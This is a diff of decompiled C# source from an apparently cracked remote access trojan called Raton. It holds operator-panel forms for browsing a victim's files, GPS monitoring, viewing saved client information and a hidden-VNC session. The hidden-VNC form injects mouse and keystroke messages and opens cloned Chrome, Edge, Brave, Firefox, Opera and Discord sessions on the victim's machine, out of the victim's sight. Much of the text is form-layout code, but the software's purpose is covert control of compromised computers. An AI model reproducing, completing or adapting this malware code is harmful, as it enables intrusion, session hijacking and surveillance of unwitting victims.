||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_backspace_24_filled;
|
||||
this.button2.IconSize = 16 /*0x10*/;
|
||||
this.button2.IconSpacing = 3;
|
||||
this.button2.Location = new Point(971, 3);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(97, 31 /*0x1F*/);
|
||||
this.button2.TabIndex = 5;
|
||||
this.button2.Text = "Go back";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView2.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader5
|
||||
});
|
||||
this.aeroListView2.FullRowSelect = true;
|
||||
this.aeroListView2.HideSelection = false;
|
||||
this.aeroListView2.Location = new Point(14, 40);
|
||||
viewColumnSorter2.Order = SortOrder.None;
|
||||
viewColumnSorter2.SortColumn = 0;
|
||||
this.aeroListView2.LvwColumnSorter = viewColumnSorter2;
|
||||
this.aeroListView2.MultiSelect = false;
|
||||
this.aeroListView2.Name = "aeroListView2";
|
||||
this.aeroListView2.Size = new Size(342, 277);
|
||||
this.aeroListView2.SmallImageList = this.imageList2;
|
||||
this.aeroListView2.TabIndex = 6;
|
||||
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView2.View = View.Details;
|
||||
this.aeroListView2.SelectedIndexChanged += new EventHandler(this.aeroListView2_SelectedIndexChanged);
|
||||
this.columnHeader5.Text = "Drives";
|
||||
this.columnHeader5.Width = 340;
|
||||
this.imageList2.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList2.ImageStream");
|
||||
this.imageList2.TransparentColor = Color.Transparent;
|
||||
this.imageList2.Images.SetKeyName(0, "df0nr8k-b42efd9c-be6b-41c0-9659-817a6d429cbe.png");
|
||||
this.imageList2.Images.SetKeyName(1, "USerWin.png");
|
||||
this.aeroListView3.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView3.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader6
|
||||
});
|
||||
this.aeroListView3.FullRowSelect = true;
|
||||
this.aeroListView3.HideSelection = false;
|
||||
this.aeroListView3.Location = new Point(14, 323);
|
||||
viewColumnSorter3.Order = SortOrder.None;
|
||||
viewColumnSorter3.SortColumn = 0;
|
||||
this.aeroListView3.LvwColumnSorter = viewColumnSorter3;
|
||||
this.aeroListView3.MultiSelect = false;
|
||||
this.aeroListView3.Name = "aeroListView3";
|
||||
this.aeroListView3.Size = new Size(342, 262);
|
||||
this.aeroListView3.SmallImageList = this.imageList2;
|
||||
this.aeroListView3.TabIndex = 7;
|
||||
this.aeroListView3.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView3.View = View.Details;
|
||||
this.aeroListView3.SelectedIndexChanged += new EventHandler(this.aeroListView3_SelectedIndexChanged);
|
||||
this.columnHeader6.Text = "Quick access";
|
||||
this.columnHeader6.Width = 340;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(741, 297);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(82, 20);
|
||||
this.label1.TabIndex = 8;
|
||||
this.label1.Text = "Loading...";
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(1181, 604);
|
||||
this.Controls.Add((Control) this.aeroListView3);
|
||||
this.Controls.Add((Control) this.aeroListView2);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonFIleManager);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonFIleManager);
|
||||
this.Load += new EventHandler(this.ratonFIleManager_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,79 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonGPS
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonGPS : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private Timer timer2;
|
||||
public Label label1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonGPS()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonGPS_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonGPS));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Interval = 10000;
|
||||
this.label1.BackColor = Color.Transparent;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 219);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(656, 23);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(656, 453);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonGPS);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonGPS);
|
||||
this.Load += new EventHandler(this.ratonGPS_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,433 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonHVNC
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using CustomControls;
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonHVNC : Form
|
||||
{
|
||||
private int hvncWidth;
|
||||
private int hvncHeight;
|
||||
private float hvncScale;
|
||||
private IContainer components;
|
||||
private FlatComboBox flatComboBox1;
|
||||
private RgbBuildButton button1;
|
||||
private Timer timer1;
|
||||
public PictureBox VNCBox;
|
||||
private CustomSwitch customSwitch1;
|
||||
private Label label1;
|
||||
private Panel panel1;
|
||||
private Label label3;
|
||||
private Label label2;
|
||||
private MenuStrip menuStrip1;
|
||||
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public int HVNCWidth
|
||||
{
|
||||
get => this.hvncWidth;
|
||||
set => this.hvncWidth = value;
|
||||
}
|
||||
|
||||
public int HVNCHeight
|
||||
{
|
||||
get => this.hvncHeight;
|
||||
set => this.hvncHeight = value;
|
||||
}
|
||||
|
||||
public float HVNCScale
|
||||
{
|
||||
get => this.hvncScale;
|
||||
set => this.hvncScale = value;
|
||||
}
|
||||
|
||||
public int FPS { get; set; }
|
||||
|
||||
public ratonHVNC()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonHVNC_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.VNCBox.Focus();
|
||||
this.timer1.Start();
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
Task.Delay(2000);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 4);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}));
|
||||
}
|
||||
|
||||
private (int x, int y) ScaleMouse(int clientX, int clientY)
|
||||
{
|
||||
return ((int) ((double) clientX / (double) this.VNCBox.Width * (double) this.HVNCWidth / (double) this.HVNCScale), (int) ((double) clientY / (double) this.VNCBox.Height * (double) this.HVNCHeight / (double) this.HVNCScale));
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonHVNC_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 1);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.flatComboBox1.SelectedItem == null)
|
||||
return;
|
||||
switch (this.flatComboBox1.SelectedItem.ToString())
|
||||
{
|
||||
case "Open Brave":
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "HVNC");
|
||||
pack1.SetInt("Action", 13);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
break;
|
||||
case "Open Chrome":
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "HVNC");
|
||||
pack2.SetInt("Action", 8);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
break;
|
||||
case "Open Discord":
|
||||
Pack pack3 = new Pack();
|
||||
pack3.SetString("Packet", "HVNC");
|
||||
pack3.SetInt("Action", 14);
|
||||
this.SillyClient.Send(pack3.Pacc());
|
||||
break;
|
||||
case "Open Edge":
|
||||
Pack pack4 = new Pack();
|
||||
pack4.SetString("Packet", "HVNC");
|
||||
pack4.SetInt("Action", 10);
|
||||
this.SillyClient.Send(pack4.Pacc());
|
||||
break;
|
||||
case "Open File explorer":
|
||||
Pack pack5 = new Pack();
|
||||
pack5.SetString("Packet", "HVNC");
|
||||
pack5.SetInt("Action", 4);
|
||||
this.SillyClient.Send(pack5.Pacc());
|
||||
break;
|
||||
case "Open Firefox":
|
||||
Pack pack6 = new Pack();
|
||||
pack6.SetString("Packet", "HVNC");
|
||||
pack6.SetInt("Action", 9);
|
||||
this.SillyClient.Send(pack6.Pacc());
|
||||
break;
|
||||
case "Open Opera":
|
||||
Pack pack7 = new Pack();
|
||||
pack7.SetString("Packet", "HVNC");
|
||||
pack7.SetInt("Action", 11);
|
||||
this.SillyClient.Send(pack7.Pacc());
|
||||
break;
|
||||
case "Open OperaGX":
|
||||
Pack pack8 = new Pack();
|
||||
pack8.SetString("Packet", "HVNC");
|
||||
pack8.SetInt("Action", 12);
|
||||
this.SillyClient.Send(pack8.Pacc());
|
||||
break;
|
||||
default:
|
||||
int num = (int) Messenger.MessageBox("Please select a valid option");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void customSwitch1_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.customSwitch1.Checked)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 6);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 7);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void VNCBox_MouseDown(object sender, MouseEventArgs e)
|
||||
{
|
||||
(int x, int y) tuple = this.ScaleMouse(e.X, e.Y);
|
||||
int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
pack.SetInt("Msg", 513);
|
||||
pack.SetInt("WParam", 1);
|
||||
}
|
||||
else if (e.Button == MouseButtons.Right)
|
||||
{
|
||||
pack.SetInt("Msg", 516);
|
||||
pack.SetInt("WParam", 2);
|
||||
}
|
||||
pack.SetInt("LParam", num);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void VNCBox_MouseUp(object sender, MouseEventArgs e)
|
||||
{
|
||||
(int x, int y) tuple = this.ScaleMouse(e.X, e.Y);
|
||||
int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
if (e.Button == MouseButtons.Left)
|
||||
{
|
||||
pack.SetInt("Msg", 514);
|
||||
pack.SetInt("WParam", 0);
|
||||
}
|
||||
else if (e.Button == MouseButtons.Right)
|
||||
{
|
||||
pack.SetInt("Msg", 517);
|
||||
pack.SetInt("WParam", 0);
|
||||
}
|
||||
pack.SetInt("LParam", num);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void VNCBox_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.None)
|
||||
return;
|
||||
(int x, int y) tuple = this.ScaleMouse(e.X, e.Y);
|
||||
int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
pack.SetInt("Msg", 512 /*0x0200*/);
|
||||
pack.SetInt("WParam", 0);
|
||||
pack.SetInt("LParam", num);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonHVNC_KeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
pack.SetInt("Msg", 258);
|
||||
pack.SetInt("WParam", (int) e.KeyChar);
|
||||
pack.SetInt("LParam", 0);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void ratonHVNC_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (!char.IsControl((char) e.KeyCode))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "HVNC");
|
||||
pack.SetInt("Action", 3);
|
||||
pack.SetInt("Msg", 256 /*0x0100*/);
|
||||
pack.SetInt("WParam", (int) e.KeyCode);
|
||||
pack.SetInt("LParam", 0);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void VNCBox_Click(object sender, EventArgs e) => this.VNCBox.Focus();
|
||||
|
||||
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.panel1.Tag == (object) "one")
|
||||
{
|
||||
this.panel1.Visible = true;
|
||||
this.panel1.Tag = (object) "two";
|
||||
}
|
||||
else
|
||||
{
|
||||
this.panel1.Visible = false;
|
||||
this.panel1.Tag = (object) "one";
|
||||
}
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e) => this.FPS = 0;
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonHVNC));
|
||||
this.VNCBox = new PictureBox();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.panel1 = new Panel();
|
||||
this.label3 = new Label();
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.customSwitch1 = new CustomSwitch();
|
||||
this.label2 = new Label();
|
||||
this.menuStrip1 = new MenuStrip();
|
||||
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||||
((ISupportInitialize) this.VNCBox).BeginInit();
|
||||
this.panel1.SuspendLayout();
|
||||
this.menuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.VNCBox.BackgroundImage = (Image) Resources.DeleteAllRows_16x;
|
||||
this.VNCBox.BackgroundImageLayout = ImageLayout.Center;
|
||||
this.VNCBox.Dock = DockStyle.Fill;
|
||||
this.VNCBox.Location = new Point(0, 24);
|
||||
this.VNCBox.Name = "VNCBox";
|
||||
this.VNCBox.Size = new Size(1081, 644);
|
||||
this.VNCBox.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.VNCBox.TabIndex = 8;
|
||||
this.VNCBox.TabStop = false;
|
||||
this.VNCBox.Click += new EventHandler(this.VNCBox_Click);
|
||||
this.VNCBox.MouseDown += new MouseEventHandler(this.VNCBox_MouseDown);
|
||||
this.VNCBox.MouseMove += new MouseEventHandler(this.VNCBox_MouseMove);
|
||||
this.VNCBox.MouseUp += new MouseEventHandler(this.VNCBox_MouseUp);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_checkmark_circle_24_filled;
|
||||
this.button1.IconSize = 20;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(20, 93);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(419, 40);
|
||||
this.button1.TabIndex = 10;
|
||||
this.button1.Text = "Execute action";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(338, 65);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(101, 17);
|
||||
this.label1.TabIndex = 12;
|
||||
this.label1.Text = "Clone browsers";
|
||||
this.panel1.Controls.Add((Control) this.label3);
|
||||
this.panel1.Controls.Add((Control) this.flatComboBox1);
|
||||
this.panel1.Controls.Add((Control) this.button1);
|
||||
this.panel1.Controls.Add((Control) this.label1);
|
||||
this.panel1.Controls.Add((Control) this.customSwitch1);
|
||||
this.panel1.Controls.Add((Control) this.label2);
|
||||
this.panel1.Location = new Point(0, 24);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(458, 154);
|
||||
this.panel1.TabIndex = 13;
|
||||
this.panel1.Tag = (object) "one";
|
||||
this.panel1.Visible = false;
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(132, 29);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(215, 16 /*0x10*/);
|
||||
this.label3.TabIndex = 14;
|
||||
this.label3.Text = "Manage the current HVNC Session";
|
||||
this.flatComboBox1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Items.AddRange(new object[8]
|
||||
{
|
||||
(object) "Open File explorer",
|
||||
(object) "Open Chrome",
|
||||
(object) "Open Brave",
|
||||
(object) "Open Edge",
|
||||
(object) "Open Firefox",
|
||||
(object) "Open Opera",
|
||||
(object) "Open OperaGX",
|
||||
(object) "Open Discord"
|
||||
});
|
||||
this.flatComboBox1.Location = new Point(20, 62);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(266, 25);
|
||||
this.flatComboBox1.TabIndex = 9;
|
||||
this.flatComboBox1.Text = "Select actions here";
|
||||
this.customSwitch1.AutoSize = true;
|
||||
this.customSwitch1.Location = new Point(292, 63 /*0x3F*/);
|
||||
this.customSwitch1.MinimumSize = new Size(45, 22);
|
||||
this.customSwitch1.Name = "customSwitch1";
|
||||
this.customSwitch1.OffBackColor = Color.Gray;
|
||||
this.customSwitch1.OffToggleColor = Color.Gainsboro;
|
||||
this.customSwitch1.OnBackColor = Color.FromArgb(105, 245, 142);
|
||||
this.customSwitch1.OnToggleColor = Color.WhiteSmoke;
|
||||
this.customSwitch1.Size = new Size(45, 22);
|
||||
this.customSwitch1.TabIndex = 11;
|
||||
this.customSwitch1.UseVisualStyleBackColor = true;
|
||||
this.customSwitch1.CheckedChanged += new EventHandler(this.customSwitch1_CheckedChanged);
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft Sans Serif", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(203, 13);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(54, 18);
|
||||
this.label2.TabIndex = 13;
|
||||
this.label2.Text = "HVNC";
|
||||
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||||
});
|
||||
this.menuStrip1.Location = new Point(0, 0);
|
||||
this.menuStrip1.Name = "menuStrip1";
|
||||
this.menuStrip1.Size = new Size(1081, 24);
|
||||
this.menuStrip1.TabIndex = 14;
|
||||
this.menuStrip1.Text = "menuStrip1";
|
||||
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||||
this.toggleConfigurationToolStripMenuItem.ImageScaling = ToolStripItemImageScaling.None;
|
||||
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||||
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||||
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||||
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(1081, 668);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Controls.Add((Control) this.VNCBox);
|
||||
this.Controls.Add((Control) this.menuStrip1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.KeyPreview = true;
|
||||
this.MainMenuStrip = this.menuStrip1;
|
||||
this.Name = nameof (ratonHVNC);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonHVNC);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonHVNC_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonHVNC_Load);
|
||||
this.KeyDown += new KeyEventHandler(this.ratonHVNC_KeyDown);
|
||||
this.KeyPress += new KeyPressEventHandler(this.ratonHVNC_KeyPress);
|
||||
((ISupportInitialize) this.VNCBox).EndInit();
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.menuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,174 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonInformation
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Newtonsoft.Json;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonInformation : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
public Timer timer1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem saveToolStripMenuItem;
|
||||
public Label label1;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonInformation()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonInformation_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void saveToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||||
if (!Directory.Exists(str1))
|
||||
return;
|
||||
List<Dictionary<string, string>> dictionaryList = new List<Dictionary<string, string>>();
|
||||
foreach (ListViewItem listViewItem in this.aeroListView1.Items)
|
||||
{
|
||||
Dictionary<string, string> dictionary = new Dictionary<string, string>()
|
||||
{
|
||||
{
|
||||
"Information",
|
||||
listViewItem.SubItems[0].Text
|
||||
},
|
||||
{
|
||||
"Content",
|
||||
listViewItem.SubItems[1].Text
|
||||
}
|
||||
};
|
||||
dictionaryList.Add(dictionary);
|
||||
}
|
||||
try
|
||||
{
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string path = Path.Combine(str1, $"client_info_{str2}.json");
|
||||
string contents = JsonConvert.SerializeObject((object) dictionaryList, Formatting.Indented);
|
||||
File.WriteAllText(path, contents);
|
||||
int num = (int) Messenger.MessageBox("Client information saved in:\n" + path, "Save", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonInformation));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.saveToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.label1 = new Label();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
